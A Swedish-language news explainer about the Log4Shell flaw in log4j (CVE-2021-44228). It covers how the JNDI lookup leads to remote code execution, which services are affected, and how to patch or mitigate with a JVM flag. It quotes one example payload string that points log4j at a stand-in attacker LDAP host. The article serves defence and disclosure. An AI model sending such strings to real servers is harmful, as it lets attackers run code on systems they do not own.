En kritisk sårbarhet för fjärrkörning av kod har hittats i log4j, en mycket populär loggningsverktyg som används av större delen av branschen. Det är extremt allvarligt, påverkar nästan alla servrar som kör Java och är mycket enkelt att utnyttja, så du kommer att vilja uppdatera och mildra problemet ASAP.
Hur fungerar det här?
Felet, spårat av CVE-2021-44228, påverkar troligen nästan alla Java-applikationer som använder log4j, vilket är en hel del med tanke på hur allmänt förekommande det är. Om din applikation någonsin loggar en sträng som skickats in av en användare är den förmodligen sårbar. När det gäller exploateringar är det en av de värsta i år, eftersom den kan rikta sig mot i princip vilken server som helst som kör Java på något sätt (även om den primära attackvektorn kan vara svårare på moderna JDK-versioner, mer om det nedan) .
I grund och botten tillåter utnyttjandet en angripare att skicka din server vilken sträng som helst som följande, och om den loggar den någonstans i din app kommer din server att köra kod som är värd på den adressen.
${jndi:ldap://attacker .com/a}
Detta fungerar eftersom log4j gör en begäran genom Java Naming and Directory Interface när den analyserar denna unikt formaterade sträng, vilket slutar med att skicka en nedladdningsbegäran till en godtycklig slutpunkt. Den laddar ner och avserialiserar .class-filen på ett osäkert sätt. Eftersom Java-klasser kan ha statiska initierare som körs närhelst klassen kompileras och refereras, resulterar detta i fjärrexekvering av godtycklig kod från en enkel, kort sträng. En klient kan till exempel ställa in sin användaragent på den här strängen, eller på annat sätt inkludera den i en begäran, och när din server loggar den kommer det att utlösa exploateringen.
Det är ganska hemskt, får 9,8 på CVSS-skalan. Det faller bara undan för det sämsta resultatet, eftersom det trots hur hemskt det är, inte påverkar några resurser utanför det målinriktade systemets omfattning (men ger åtkomst på applikationsnivå till servern som kör loggern).
RELATERAT: Hur placeras säkerhetssårbarheter? (CVSS)
Det kommer att påverka många applikationer. Minecraft var till exempel en av de första som spred nyheten och korrigerade utnyttjandet, eftersom det var möjligt att exekvera kod både på servrar och på alla spelare som var anslutna till en server genom chattmeddelanden i spelet. En snabbkorrigeringsuppdatering för spelet släpptes för att korrigera felet.
Annons
Populära tjänster som Steam och iCloud har redan visat sig vara sårbara, och säkerhetsundersökningsföretaget GreyNoise har redan upptäckt flera IP-adresser som körs genomsökningar efter sårbara servrar.
@GreyNoise ser för närvarande två unika IP's som söker igenom internet efter den nya Apache Log4j RCE-sårbarheten (ingen CVE tilldelad ännu).
En tagg för att spåra denna aktivitet på https://t.co/QckU3An40q kommer att göras tillgänglig inom kort och länkas som ett svar när den släpps.— remy🐀 (@_mattata) 10 december 2021
Du kör förmodligen redan log4j, eftersom det ingår i hundratals andra bibliotek som standardloggningsverktyget. JDK-versioner större än 6u211, 7u201, 8u191 och 11.0.1 påverkas dock inte av den primära attackvektorn (med LDAP) som utnyttjas just nu. Det betyder inte att du inte ska uppdatera, eftersom buggen i log4j + JNDI fortfarande är allvarlig och lätt kan användas med andra attackvektorer också.
Hur fixar jag det?
Lyckligtvis finns det redan en fix som korrigerar det helt, så du bör uppdatera dina servrar ASAP. Detta påverkar dock även klientapplikationer, som också måste uppdateras för denna kritiska patch. Trots allt kör 3 miljarder enheter Java, så det kommer att dröja ett tag innan det är helt fixat.
Utnyttjandet har redan korrigerats i log4j‘s senaste version , 2.15.0-rc2, så du bör uppdatera det om du kan. Patchen har också backporterats till tidigare versioner, med tanke på svårighetsgraden för användare som kan ha fastnat på äldre versioner.
Om du använder ett annat bibliotek som använder log4j, bör du fortfarande kunna manuellt uppdatera i de flesta fall, men om du inte kan, kan du använda den här JVM-flaggan för att mildra problemet, som helt enkelt säger till log4j att aldrig göra några uppslagningar när du formaterar meddelanden.
-Dlog4j2.formatMsgNoLookups=true